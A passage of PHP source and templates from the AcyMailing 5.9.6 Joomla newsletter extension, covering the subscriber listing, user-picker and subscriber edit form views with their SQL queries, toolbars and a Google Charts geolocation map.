		}elseif($selectedStatus == -3){
			$filters[] = 'a.enabled < 1';
		}

		$query = 'SELECT '.implode(',', $this->selectedFields).$fromQuery;
		if(!empty($joinQuery)) $query .= ' JOIN '.implode(' JOIN ', $joinQuery);
		if(!empty($leftJoinQuery)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $leftJoinQuery);

		if(!empty($filters)){
			$query .= ' WHERE ('.implode(') AND (', $filters).')';
		}
		$query .= ' GROUP BY a.subid';
		if(!empty($pageInfo->filter->order->value)){
			$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
		}

		$rows = acymailing_loadObjectList($query, 'subid', $pageInfo->limit->start, empty($pageInfo->limit->value) ? 500 : $pageInfo->limit->value);

		$pageInfo->elements->page = count($rows);

		if($pageInfo->limit->value > $pageInfo->elements->page){
			$pageInfo->elements->total = $pageInfo->limit->start + $pageInfo->elements->page;
		}else{
			$queryCount = 'SELECT COUNT(DISTINCT '.$countField.') '.$fromQuery;
			if(!empty($pageInfo->search) || !empty($selectedStatus) || $selectedStatusList == -2 || !empty($fieldfilter)){
				if(!empty($joinQuery)) $queryCount .= ' JOIN '.implode(' JOIN ', $joinQuery);
				if(!empty($leftJoinQuery)) $queryCount .= ' LEFT JOIN '.implode(' LEFT JOIN ', $leftJoinQuery);
			}
			if(!empty($filters)) $queryCount .= ' WHERE ('.implode(') AND (', $filters).')';
			$pageInfo->elements->total = acymailing_loadResult($queryCount);
		}


		if(!empty($rows)){
			$subscriptions = acymailing_loadObjectList('SELECT * FROM `#__acymailing_listsub` WHERE `subid` IN (\''.implode('\',\'', array_keys($rows)).'\')');
			if(!empty($subscriptions)){
				foreach($subscriptions as $onesub){
					$sublistid = $onesub->listid;
					if(empty($rows[$onesub->subid]->subscription)) $rows[$onesub->subid]->subscription = new stdClass();
					$rows[$onesub->subid]->subscription->$sublistid = $onesub;
				}
			}
		}

		if(empty($pageInfo->limit->value)){
			if($pageInfo->elements->total > 500){
				acymailing_enqueueMessage('We do not want you to crash your server so we displayed only the first 500 users', 'warning');
			}
			$pageInfo->limit->value = 100;
		}

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$filters = new stdClass();
		$statusType = acymailing_get('type.statusfilter');
		if(!empty($selectedList)){
			$statusList = acymailing_get('type.statusfilterlist');
			if(!acymailing_isAdmin()) array_pop($statusList->values);
			$filters->statuslist = $statusList->display('filter_statuslist', $selectedStatusList);
		}

		$listsType = acymailing_get('type.lists');
		if(acymailing_isAdmin()){
			$filters->lists = $listsType->display('filter_lists', $selectedList, true, true);
			$filters->status = $statusType->display('filter_status', $selectedStatus);
		}else{
			$listClass = acymailing_get('class.list');
			$allLists = $listClass->getFrontendLists();
			if(count($allLists) > 1){
				$filters->lists = acymailing_select($allLists, "filter_lists", 'class="inputbox" size="1" onchange="document.adminForm.limitstart.value=0;document.adminForm.submit();"', 'listid', 'name', (int)$selectedList, "filter_lists");
			}else{
				$filters->lists = '<input type="hidden" name="filter_lists" value="'.$selectedList.'"/>';
			}
			$filters->status = '<input type="hidden" name="filter_status" value="0"/>';
		}

		if(acymailing_isAdmin()){
			$acyToolbar = acymailing_get('helper.toolbar');
			if(acymailing_isAllowed($config->get('acl_lists_filter', 'all'))) $acyToolbar->popup('action', acymailing_translation('ACTIONS'), acymailing_completeLink('filter', true), 700, 500);
			if(acymailing_isAllowed($config->get('acl_subscriber_import', 'all'))) $acyToolbar->link(acymailing_completeLink('data&task=import&filter_lists='.$selectedList), acymailing_translation('IMPORT'), 'import');
			if(acymailing_isAllowed($config->get('acl_lists_filter', 'all')) || acymailing_isAllowed($config->get('acl_subscriber_import', 'all')) || acymailing_isAllowed($config->get('acl_subscriber_export', 'all'))) $acyToolbar->custom('export', acymailing_translation('ACY_EXPORT'), 'export', false);
			if(acymailing_isAllowed($config->get('acl_subscriber_export', 'all'))) $acyToolbar->divider();
			if(acymailing_isAllowed($config->get('acl_subscriber_manage', 'all'))) $acyToolbar->add();
			if(acymailing_isAllowed($config->get('acl_subscriber_manage', 'all'))) $acyToolbar->edit();
			if(acymailing_isAllowed($config->get('acl_subscriber_delete', 'all'))) $acyToolbar->delete();

			$acyToolbar->divider();
			$acyToolbar->help('subscriber-listing');
			$acyToolbar->setTitle(acymailing_translation('USERS'), 'subscriber');
			$acyToolbar->display();
		}

		$lists = $listsType->getData();
		$this->lists = $lists;
		$toggleClass = acymailing_get('helper.toggle');
		$this->toggleClass = $toggleClass;
		$this->rows = $rows;
		$this->filters = $filters;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;
		$this->config = $config;
		$this->displayFields = $displayFields;
		$this->customFields = $customFields;
	}

	function choose(){
		$pageInfo = new stdClass();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName().'_'.$this->getLayout().acymailing_getVar('int', 'onlyreg', 0);
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.name', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'asc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));

		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		if(empty($pageInfo->limit->value)) $pageInfo->limit->value = 100;

		$filters = array();
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $this->searchFields)." LIKE $searchVal";
		}

		if(acymailing_getVar('int', 'onlyreg')){
			$filters[] = 'a.userid > 0';
		}

		$query = 'SELECT '.implode(',', $this->selectedFields).' FROM #__acymailing_subscriber as a';
		$query .= ' LEFT JOIN #__'.$this->cmsUserVars->table.' as b on a.userid = b.'.$this->cmsUserVars->id;
		if(!empty($filters)){
			$query .= ' WHERE ('.implode(') AND (', $filters).')';
		}
		if(!empty($pageInfo->filter->order->value)){
			$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
		}
		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);

		$queryWhere = 'SELECT COUNT(a.subid) FROM #__acymailing_subscriber as a';
		if(!empty($filters)){
			$queryWhere .= ' LEFT JOIN #__'.$this->cmsUserVars->table.' as b on a.userid = b.'.$this->cmsUserVars->id;
			$queryWhere .= ' WHERE ('.implode(') AND (', $filters).')';
		}

		$pageInfo->elements->total = acymailing_loadResult($queryWhere);
		$pageInfo->elements->page = count($rows);

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$this->rows = $rows;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;
	}

	function form(){
		$subid = acymailing_getCID('subid');
		$config = acymailing_config();

		if(!empty($subid)){
			$subscriberClass = acymailing_get('class.subscriber');
			$subscriber = $subscriberClass->getFull($subid);
			$subscription = acymailing_isAdmin() ? $subscriberClass->getSubscription($subid) : $subscriberClass->getFrontendSubscription($subid);
			if(empty($subscriber->subid)){
				acymailing_display('User '.$subid.' not found', 'error');
				$subid = 0;
			}
		}

		if(empty($subid)){
			$listType = acymailing_get('class.list');
			$subscription = acymailing_isAdmin() ? $listType->getLists() : $listType->getFrontendLists();

			$subscriber = new stdClass();
			$subscriber->email = '';
			$subscriber->created = time();
			$subscriber->html = 1;
			$subscriber->confirmed = 1;
			$subscriber->blocked = 0;
			$subscriber->accept = 1;
			$subscriber->enabled = 1;
			$iphelper = acymailing_get('helper.user');
			$subscriber->ip = $iphelper->getIP();
		}

		if(acymailing_isAdmin()){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->setTitle(acymailing_translation('ACY_USER'), 'subscriber&task=edit&subid='.$subid);
		}



		if(!empty($subid)){
			$query = 'SELECT a.`mailid`, a.`html`, a.`sent`, a.`senddate`,a.`open`, a.`opendate`, a.`bounce`, a.`fail`,b.`subject`,b.`alias`';
			$query .= ' FROM `#__acymailing_userstats` as a';
			$query .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid';
			$query .= ' WHERE a.subid = '.intval($subid).' ORDER BY a.senddate DESC LIMIT 30';
			$open = acymailing_loadObjectList($query);
			$this->open = $open;

			if(acymailing_level(3)){
				$clickedNews = acymailing_loadObjectList('SELECT DISTINCT `mailid` FROM `#__acymailing_urlclick` WHERE `subid` = '.intval($subid), 'mailid');
				$this->clickedNews = $clickedNews;
			}

			$query = 'SELECT a.*,b.`subject`,b.`alias`';
			$query .= ' FROM `#__acymailing_queue` as a';
			$query .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid';
			$query .= ' WHERE a.subid = '.intval($subid).' ORDER BY a.senddate ASC LIMIT 60';
			$queue = acymailing_loadObjectList($query);
			$this->queue = $queue;

			$query = 'SELECT h.*,m.subject FROM #__acymailing_history as h LEFT JOIN #__acymailing_mail as m ON h.mailid = m.mailid WHERE h.subid = '.intval($subid).' ORDER BY h.`date` DESC LIMIT 30';
			$history = acymailing_loadObjectList($query);
			$this->history = $history;

			$query = 'SELECT * FROM #__acymailing_geolocation WHERE geolocation_subid='.intval($subid).' ORDER BY geolocation_created DESC LIMIT 100';
			$geoloc = acymailing_loadObjectList($query);
			if(!empty($geoloc)){
				$markCities = array();
				$diffCountries = false;
				$dataDetails = array();
				foreach($geoloc as $mark){
					$indexCity = array_search($mark->geolocation_city, $markCities);
					if($indexCity === false){
						array_push($markCities, $mark->geolocation_city);
						$addressTmp = $mark->geolocation_city.' '.$mark->geolocation_state.' '.$mark->geolocation_country;
						array_push($dataDetails, array('nbInCity' => 1, 'actions' => $mark->geolocation_type, 'address' => $addressTmp));
					}else{
						$dataDetails[$indexCity]['nbInCity'] += 1;
						$dataDetails[$indexCity]['actions'] .= ", ".$mark->geolocation_type;
					}

					if(!$diffCountries){
						if(!empty($region) && $region != $mark->geolocation_country_code){
							$region = 'world';
							$diffCountries = true;
						}else{
							$region = $mark->geolocation_country_code;
						}
					}
				}
				$this->geoloc_region = $region;
				$this->geoloc_city = $markCities;
				$this->geoloc = $geoloc;
				$this->geoloc_details = $dataDetails;
			}

			if(!empty($subscriber->ip)){
				$query = 'SELECT * FROM #__acymailing_subscriber WHERE ip='.acymailing_escapeDB($subscriber->ip).' AND subid != '.intval($subid).' LIMIT 30';
				$neighbours = acymailing_loadObjectList($query);
				if(!empty($neighbours)){
					$this->neighbours = $neighbours;
				}
			}
		}

		$isAdmin = false;
		if(acymailing_isAdmin()){
			$isAdmin = true;

			$acyToolbar->addButtonOption('apply', acymailing_translation('ACY_APPLY'), 'apply', false);
			$acyToolbar->addButtonOption('save2new', acymailing_translation('ACY_SAVEANDNEW'), 'new', false);
			$acyToolbar->save();

			if(!empty($subscriber->userid)){
				$acyToolbar->link(acymailing_userEditLink().$subscriber->userid, acymailing_translation('EDIT_JOOMLA_USER'), 'edit');
			}
			$acyToolbar->cancel();
			$acyToolbar->divider();
			$acyToolbar->help('subscriber-form');
			$acyToolbar->display();
		}


		$filters = new stdClass();
		$quickstatusType = acymailing_get('type.statusquick');
		$filters->statusquick = $quickstatusType->display('statusquick');

		$this->config = $config;
		if(!empty($subscriber->email)) $subscriber->email = acymailing_punycode($subscriber->email, 'emailToUTF8');
		$this->subscriber = $subscriber;
		$toggleClass = acymailing_get('helper.toggle');
		$this->toggleClass = $toggleClass;
		$this->subscription = $subscription;
		$this->filters = $filters;
		$statusType = acymailing_get('type.status');
		$this->statusType = $statusType;
		$this->isAdmin = $isAdmin;
	}
}

com_acymailing/views/subscriber/index.html000060400000000054152455305300015011 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/subscriber/tmpl/choose.php000060400000007043152455305300015766 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>

	<form action="<?php echo acymailing_completeLink('subscriber', true); ?>" method="post" name="adminForm" id="adminForm">
		<table class="acymailing_table_options">
			<tr>
				<td width="100%">
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td nowrap="nowrap">
				</td>
			</tr>
		</table>

		<table class="acymailing_table" cellpadding="1">
			<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title">
				</th>
				<th class="title">
					<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_NAME'), 'a.name', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title">
					<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_EMAIL'), 'a.email', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titleid">
					<?php echo acymailing_gridSort(acymailing_translation('USER_ID'), 'a.userid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titleid">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'a.subid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
			</tr>
			</thead>
			<tfoot>
			<tr>
				<td colspan="6">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
			<tbody>
			<?php
			$k = 0;

			for($i = 0, $a = count($this->rows); $i < $a; $i++){
				$row =& $this->rows[$i];

				?>
				<tr class="<?php echo "row$k"; ?>" style="cursor:pointer" onclick="window.top.affectUser(<?php echo strip_tags(intval($row->userid));?>,'<?php echo addslashes(strip_tags($row->name)); ?>','<?php echo addslashes(strip_tags($row->email)); ?>'); acymailing.closeBox(true);">
					<td align="center" style="text-align:center">
						<?php echo $this->pagination->getRowOffset($i); ?>
					</td>
					<td class="acytdcheckbox"></td>
					<td>
						<?php echo acymailing_dispSearch($row->name, $this->pageInfo->search); ?>
					</td>
					<td>
						<?php echo acymailing_dispSearch($row->email, $this->pageInfo->search); ?>
					</td>
					<td align="center" style="text-align:center">
						<?php if(!empty($row->userid)){
							$text = acymailing_translation('ACY_USERNAME').' : <b>'.acymailing_dispSearch($row->username, $this->pageInfo->search);
							$text .= '</b><br />'.acymailing_translation('USER_ID').' : <b>'.acymailing_dispSearch($row->userid, $this->pageInfo->search).'</b>';
							echo acymailing_tooltip($text, acymailing_dispSearch($row->username, $this->pageInfo->search), '', acymailing_dispSearch($row->userid, $this->pageInfo->search));
						} ?>
					</td>
					<td align="center" style="text-align:center">
						<?php echo acymailing_dispSearch($row->subid, $this->pageInfo->search); ?>
					</td>
				</tr>
				<?php
				$k = 1 - $k;
			}
			?>
			</tbody>
		</table>

		<input type="hidden" name="defaulttask" value="choose"/>
		<?php if(acymailing_getVar('int', 'onlyreg')){ ?><input type="hidden" name="onlyreg" value="1"/><?php } ?>
		<?php acymailing_formOptions($this->pageInfo->filter->order); ?>
	</form>
</div>
com_acymailing/views/subscriber/tmpl/form.php000060400000066071152455305300015457 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$config = acymailing_config();
$backend = acymailing_isAdmin(); ?>
<style type="text/css">
	.respuserinfo{
		float: left;
		display: inline-table;
	<?php if(!$backend){ ?> max-width: 900px;
		min-width: 60%;
		width: 100%;
	<?php } else{ ?> max-width: 600px;
		min-width: 30%;
	<?php } ?>
	}

	.respuserinfo50{
		min-width: 50%;
	}

	.respuserinfogeneral{
		display: inline-table;
		float: left;
		min-width: 60%;
		width: 100%;
		max-width: 900px;
	}

	#acysubscriberinfo{
		clear: both;
	<?php if(!$backend){
		echo "overflow:auto;
			max-width:750px;
			min-width:80%";
	} ?>
	}

	<?php if(!$backend){
		echo "#acy_content .current {
				display: table;
			}			";
	} ?>

</style>
<script language="javascript" type="text/javascript">
	document.addEventListener("DOMContentLoaded", function(){
		acymailing.submitbutton = function(pressbutton){
			var form = document.adminForm;
			if(pressbutton != 'cancel' && form.email){
				form.email.value = form.email.value.replace(/ /g, "");
				var filter = /^<?php echo acymailing_getEmailRegex(true); ?>$/i;'
				if(!filter.test(form.email.value)){
					alert("<?php echo acymailing_translation('VALID_EMAIL', true); ?>");
					return false;
				}
			}
			acymailing.submitform(pressbutton, form);
		};
	});
</script>
<?php
$config = acymailing_config();
$google_map_api_key = $config->get('google_map_api_key');
if(empty($google_map_api_key) && acymailing_isAdmin()){
	acymailing_display('<a href="'.acymailing_completeLink('cpanel').'" onclick="localStorage.setItem(\'acyconfig_tab\', \'config_subscription\');">'.acymailing_translation('ACY_NEED_GOOGLE_MAP_API_KEY').'</a>', 'info');
}

if(!empty($this->geoloc) && !empty($google_map_api_key)){ ?>
	<script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script>
	<script language="javascript" type="text/javascript">
		google.charts.load('current', {
			packages: ['geochart', 'corechart'],
			mapsApiKey: '<?php echo $google_map_api_key; ?>'
		});
		google.charts.setOnLoadCallback(drawMarkersMap);

		var chart;
		var data;

		var mapOptions = {
			legend: 'none', displayMode: 'markers', sizeAxis: {minSize: 6, maxSize: 24, minValue: 1, maxValue: 10}, enableRegionInteractivity: 'true', region: '<?php echo $this->geoloc_region; ?>'
		};
		function drawMarkersMap(){
			data = new google.visualization.DataTable();
			data.addColumn('string', 'Address');
			data.addColumn('number', 'Color');
			data.addColumn('number', 'Size');
			data.addColumn({type: 'string', role: 'tooltip'});
			<?php
			$myData = array();
			foreach($this->geoloc_city as $key => $city){
				$toolTipTxt = str_replace("'", "\'", acymailing_translation('GEOLOC_NB_ACTIONS')).': '.$this->geoloc_details[$key]['nbInCity'];
				$lineData = "['".str_replace("'", "\'", $this->geoloc_details[$key]['address'])."', 1, ".$this->geoloc_details[$key]['nbInCity'].", '".$toolTipTxt."']";
				array_push($myData, $lineData);
			}
			echo "data.addRows([".implode(", ", $myData)."]);";
			?>

			chart = new google.visualization.GeoChart(document.getElementById('mapGeoloc_div'));
		}
	</script>
<?php } ?>
<div id="acy_content">
	<div id="iframedoc"></div>

	<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off" <?php if(!empty($this->fieldsClass->formoption)) echo $this->fieldsClass->formoption; ?> >
		<input type="hidden" name="cid[]" value="<?php echo @$this->subscriber->subid; ?>"/>
		<input type="hidden" name="acy_source" value="<?php echo acymailing_isAdmin() ? 'management_back' : 'management_front'; ?>"/>
		<?php $selectedList = acymailing_getVar('int', 'filter_lists');
		if(!empty($selectedList)){ ?>
			<input type="hidden" name="filter_lists" value="<?php echo $selectedList; ?>"/>
		<?php }
		if(!empty($this->Itemid)) echo '<input type="hidden" name="Itemid" value="'.$this->Itemid.'" />';
		acymailing_formOptions(); ?>
		<div class="<?php echo $this->isAdmin ? 'acyblockoptions' : 'onelineblockoptions'; ?>">
			<span class="acyblocktitle"><?php echo acymailing_translation('USER_INFORMATIONS'); ?></span>

			<div>
				<?php if(!acymailing_level(3) || empty($this->extraFields)){
					echo '<div class="acytable_userinfo">';
				} ?>
				<table class="acymailing_table" cellspacing="1">
					<tr id="trname">
						<td width="150" class="acykey">
							<label for="name">
								<?php echo acymailing_translation('JOOMEXT_NAME'); ?>
							</label>
						</td>
						<td>
							<?php
							if(empty($this->subscriber->userid)){
								echo '<input type="text" name="data[subscriber][name]" id="name" class="inputbox" style="width:200px" value="'.$this->escape(@$this->subscriber->name).'" />';
							}else{
								echo $this->escape($this->subscriber->name);
							}
							?>
						</td>
					</tr>
					<tr id="tremail">
						<td class="acykey">
							<label for="email">
								<?php echo acymailing_translation('JOOMEXT_EMAIL'); ?>
							</label>
						</td>
						<td>
							<?php
							if(empty($this->subscriber->userid)){
								echo '<input class="inputbox required" type="text" name="data[subscriber][email]" id="email" style="width:200px" value="'.$this->escape($this->subscriber->email).'" />';
							}else{
								echo $this->escape($this->subscriber->email);
							}
							?>
						</td>
					</tr>
					<tr id="trcreated">
						<td class="acykey">
							<label for="created">
								<?php echo acymailing_translation('CREATED_DATE'); ?>
							</label>
						</td>
						<td>
							<?php echo acymailing_getDate($this->subscriber->created); ?>
						</td>
					</tr>
					<tr id="trip">
						<td class="acykey">
							<label for="ip">
								<?php echo acymailing_translation('IP'); ?>
							</label>
						</td>
						<td>
							<?php echo $this->escape($this->subscriber->ip); ?>
						</td>
					</tr>

					<?php
					if(!empty($this->subscriber->userid)){
						?>
						<tr id="trusername">
							<td class="acykey">
								<label for="username">
									<?php echo acymailing_translation('ACY_USERNAME'); ?>
								</label>
							</td>
							<td>
								<?php echo $this->escape($this->subscriber->username); ?>
							</td>
						</tr>
						<tr id="truserid">
							<td class="acykey">
								<label for="userid">
									<?php echo acymailing_translation('USER_ID'); ?>
								</label>
							</td>
							<td>
								<?php echo $this->subscriber->userid; ?>
							</td>
						</tr>
						<?php
					}
					if(!acymailing_level(3) || empty($this->extraFields)){
						echo '</table></div><div class="acytable_userinfo"><table class="acymailing_table" cellspacing="1">';
					} ?>
					<tr id="trhtml">
						<td class="acykey">
							<label for="html">
								<?php echo acymailing_translation('RECEIVE'); ?>
							</label>
						</td>
						<td nowrap="nowrap">
							<?php echo acymailing_boolean("data[subscriber][html]", '', $this->subscriber->html, acymailing_translation('HTML'), acymailing_translation('JOOMEXT_TEXT')); ?>
						</td>
					</tr>
					<tr id="trconfirmed">
						<td class="acykey">
							<label for="confirmed">
								<?php echo acymailing_translation('CONFIRMED'); ?>
							</label>
						</td>
						<td>
							<?php echo acymailing_boolean("data[subscriber][confirmed]", '', $this->subscriber->confirmed, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
						</td>
					</tr>
					<tr id="trenabled">
						<td class="acykey">
							<label for="block">
								<?php echo acymailing_translation('ENABLED'); ?>
							</label>
						</td>
						<td>
							<?php echo acymailing_boolean("data[subscriber][enabled]", '', $this->subscriber->enabled, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
						</td>
					</tr>
					<tr id="traccept">
						<td class="acykey">
							<label for="accept">
								<?php echo acymailing_translation('ACCEPT_EMAIL'); ?>
							</label>
						</td>
						<td>
							<?php echo acymailing_boolean("data[subscriber][accept]", '', $this->subscriber->accept, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
						</td>
					</tr>
				</table>
				<?php if(!acymailing_level(3) || empty($this->extraFields)){
					echo '</div>';
				} ?>
			</div>
		</div>
		<?php
		if(!empty($this->extraFields)){
			$this->fieldsClass->currentUser = $this->subscriber;
			include(dirname(__FILE__).DS.'extrafields.'.basename(__FILE__));
		} ?>
		<div class="onelineblockoptions" style="clear:both;<?php echo $this->isAdmin ? '' : 'max-width:700px;'; ?>">
			<div id="acysubscriberinfo">
				<?php $tabs = acymailing_get('helper.acytabs');

				echo $tabs->startPane('user_tabs');
				echo $tabs->startPanel(acymailing_translation('SUBSCRIPTION'), 'user_subscription');

				if(count($this->subscription) > 10){ ?>
					<script language="javascript" type="text/javascript">
						<!--
						function acymailing_searchAList(){
							var filter = document.getElementById("acymailing_searchList").value.toLowerCase();
							for(var i = 0; i <<?php echo count($this->subscription); ?>; i++){
								var itemName = document.getElementById("listName_" + i).innerHTML.toLowerCase();
								if(itemName.indexOf(filter) > -1){
									document.getElementById("acylistrow_" + i).style.display = "table-row";
								}else{
									document.getElementById("acylistrow_" + i).style.display = "none";
								}
							}
						}
						//-->
					</script>
				<?php } ?>
				<div>
					<table class="acymailing_table">
						<thead>
						<tr>
							<th class="title titlenum">
								<?php echo acymailing_translation('ACY_NUM'); ?>
							</th>
							<th class="title titlecolor">
							</th>
							<th class="title" nowrap="nowrap">
								<?php echo acymailing_translation('LIST_NAME');
								if(count($this->subscription) > 10){ ?>
									<input onkeyup="acymailing_searchAList();" type="text" style="width:170px;max-width:100%;margin-left:50px;margin-top:5px;" placeholder="<?php echo acymailing_translation('ACY_SEARCH'); ?>" id="acymailing_searchList">
								<?php } ?>
							</th>
							<th class="title" nowrap="nowrap">
								<?php echo acymailing_translation('STATUS'); ?>
								<span class="quickstatuschange" style="display:inline-block;font-style:italic;margin-left:50px"><?php echo $this->filters->statusquick; ?></span>
							</th>
							<th class="title titledate">
								<?php echo acymailing_translation('SUBSCRIPTION_DATE'); ?>
							</th>
							<th class="title titledate">
								<?php echo acymailing_translation('UNSUBSCRIPTION_DATE'); ?>
							</th>
							<th class="title titleid">
								<?php echo acymailing_translation('ACY_ID'); ?>
							</th>
						</tr>
						</thead>
						<tbody>
						<?php
						$k = 0;
						$i = 0;
						foreach($this->subscription as $j => $row){
							$listClass = 'acy_list_status_'.str_replace('-', 'm', (int)@$row->status); ?>
							<tr class="<?php echo "row$k $listClass"; ?>" id="acylistrow_<?php echo $i; ?>">
								<td align="center" style="text-align:center">
									<?php echo $i + 1; ?>
								</td>
								<td width="12">
									<?php echo '<div class="roundsubscrib rounddisp" style="background-color:'.$row->color.'"></div>'; ?>
								</td>
								<td>
									<span style="display:none;" id="listName_<?php echo $i; ?>"><?php echo $row->name; ?></span>
									<?php echo acymailing_tooltip($row->description, $row->name, 'tooltip.png', $row->name); ?>
								</td>
								<td align="center" style="text-align:center" nowrap="nowrap">
									<?php echo $this->statusType->display('data[listsub]['.$row->listid.'][status]', (empty($this->subscriber->subid) && acymailing_getVar('int', 'filter_lists') == $row->listid) ? 1 : @$row->status); ?>
								</td>
								<td align="center" style="text-align:center">
									<?php if(!empty($row->subdate)) echo acymailing_getDate($row->subdate); ?>
								</td>
								<td align="center" style="text-align:center">
									<?php if(!empty($row->unsubdate)) echo acymailing_getDate($row->unsubdate); ?>
								</td>
								<td align="center" style="text-align:center">
									<?php echo $row->listid; ?>
								</td>
							</tr>
							<?php
							$k = 1 - $k;
							$i++;
						} ?>
						</tbody>
					</table>
				</div>
				<?php echo $tabs->endPanel();
				if(!empty($this->open)){
					echo $tabs->startPanel(acymailing_translation('ACY_SENT_EMAILS'), 'user_open');
					?>

					<div>
						<table class="acymailing_table">
							<thead>
							<tr>
								<th class="title titlenum">
									<?php echo acymailing_translation('ACY_NUM'); ?>
								</th>
								<th class="title titledate">
									<?php echo acymailing_translation('SEND_DATE'); ?>
								</th>
								<th class="title">
									<?php echo acymailing_translation('JOOMEXT_SUBJECT'); ?>
								</th>
								<th class="title titletoggle">
									<?php echo acymailing_translation('RECEIVED_VERSION'); ?>
								</th>
								<th class="title titletoggle">
									<?php echo acymailing_translation('OPEN'); ?>
								</th>
								<th class="title titledate">
									<?php echo acymailing_translation('OPEN_DATE'); ?>
								</th>
								<?php if(acymailing_level(3)){ ?>
									<th class="title titletoggle">
										<?php echo acymailing_translation('CLICKED_LINK'); ?>
									</th>
									<th class="title titletoggle">
										<?php echo acymailing_translation('BOUNCES'); ?>
									</th>
								<?php } ?>
								<th class="title titletoggle">
									<?php echo acymailing_translation('ACY_SENT'); ?>
								</th>
							</tr>
							</thead>
							<tbody>
							<?php
							$width = intval($this->config->get('popup_width', 750));
							$height = intval($this->config->get('popup_height', 550));
							$k = 0;

							for($i = 0, $a = count($this->open); $i < $a; $i++){
								$row =& $this->open[$i];
								$row->subject = acyEmoji::Decode($row->subject);
								?>
								<tr class="<?php echo "row$k"; ?>">
									<td align="center" style="text-align:center">
										<?php echo $i + 1; ?>
									</td>
									<td>
										<?php echo acymailing_getDate($row->senddate); ?>
									</td>
									<td>
										<?php
										if(acymailing_isAdmin()){
											$link = acymailing_completeLink('queue&task=preview&mailid='.$row->mailid.'&subid='.$this->subscriber->subid, true);
											echo acymailing_popup($link, $row->subject, '', $width, $height);
										}else{
											$text = '<b>'.acymailing_translation('ACY_ID').' : </b>'.$row->mailid;
											echo acymailing_tooltip($text, $row->subject, '', $row->subject);
										}
										?>
									</td>
									<td align="center" style="text-align:center">
										<?php echo $row->html ? acymailing_translation('HTML') : acymailing_translation('JOOMEXT_TEXT'); ?>
									</td>
									<td align="center" style="text-align:center">
										<?php echo $row->open; ?>
									</td>
									<td align="center" style="text-align:center">
										<?php if(!empty($row->opendate)) echo acymailing_getDate($row->opendate); ?>
									</td>
									<?php if(acymailing_level(3)){ ?>
										<td align="center" style="text-align:center">
											<?php echo $this->toggleClass->display('visible', empty($this->clickedNews[$row->mailid]) ? false : true); ?>
										</td>
										<td align="center" style="text-align:center">
											<?php echo $row->bounce; ?>
										</td>
									<?php } ?>
									<td align="center" style="text-align:center">
										<?php echo $this->toggleClass->display('visible', empty($row->fail) ? true : false); ?>
									</td>
								</tr>
								<?php
								$k = 1 - $k;
							}
							?>
							</tbody>
						</table>
					</div>

					<?php
					echo $tabs->endPanel();
				}

				if(!empty($this->clicks)){
					echo $tabs->startPanel(acymailing_translation('CLICK_STATISTICS'), 'user_clicks'); ?>

					<div>
						<table class="acymailing_table">
							<thead>
							<tr>
								<th class="title titlenum">
